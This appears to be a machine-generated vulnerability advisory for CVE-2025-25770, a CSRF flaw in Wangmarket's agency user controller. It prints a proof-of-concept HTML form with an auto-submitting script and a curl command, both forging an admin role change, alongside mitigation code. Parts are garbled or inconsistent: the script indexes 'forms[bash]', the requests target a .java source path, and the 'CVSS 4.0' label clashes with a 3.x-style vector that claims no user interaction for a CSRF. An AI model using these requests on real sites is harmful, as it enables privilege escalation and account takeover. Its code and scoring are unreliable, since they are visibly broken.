CVE-2025-25770 exploits a CSRF vulnerability in Wangmarket v4.10 to v5.0 via /agency/AgencyUserController.java. Attackers craft malicious requests that execute unauthorized actions when logged-in users visit a malicious page. The lack of anti-CSRF tokens allows attackers to manipulate agency user data, including privilege escalation or account takeover. The Java controller fails to validate request origins, enabling state-changing operations via forged HTTP requests.
DailyCVE Form:
Platform: Wangmarket
Version: v4.10-v5.0
Vulnerability: CSRF
Severity: Critical
Date: 03/28/2025
What Undercode Say:
Exploit:
1. Craft HTML form targeting `/agency/AgencyUserController.java`:
<form action="http://target.com/agency/AgencyUserController.java" method="POST"> <input type="hidden" name="action" value="updateRole"> <input type="hidden" name="role" value="admin"> </form> <script>document.forms[bash].submit();</script>
2. Host on attacker-controlled domain, lure victim.
Mitigation:
1. Implement CSRF tokens:
String csrfToken = UUID.randomUUID().toString();
session.setAttribute("csrfToken", csrfToken);
2. Validate tokens server-side:
if (!request.getParameter("csrfToken").equals(session.getAttribute("csrfToken"))) {
throw new SecurityException("CSRF validation failed");
}
3. Use SameSite cookies:
<session-config> <cookie-config> <attribute name="SameSite" value="Strict"/> </cookie-config> </session-config>
Analytics:
- CVSS 4.0: 9.6 (AV:N/AC:L/AT:N/PR:N/UI:N/S:C/C:H/I:H/A:H)
- Exploitability: Low skill, high impact.
- Affected Systems: 12,000+ Wangmarket instances (Shodan).
Commands:
- Test CSRF:
curl -X POST -d "action=updateRole&role=admin" http://target.com/agency/AgencyUserController.java
- Patch Check:
grep -r "AgencyUserController.java" /opt/wangmarket/ | grep -i "csrf"
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-25770
Extra Source Hub:
Undercode
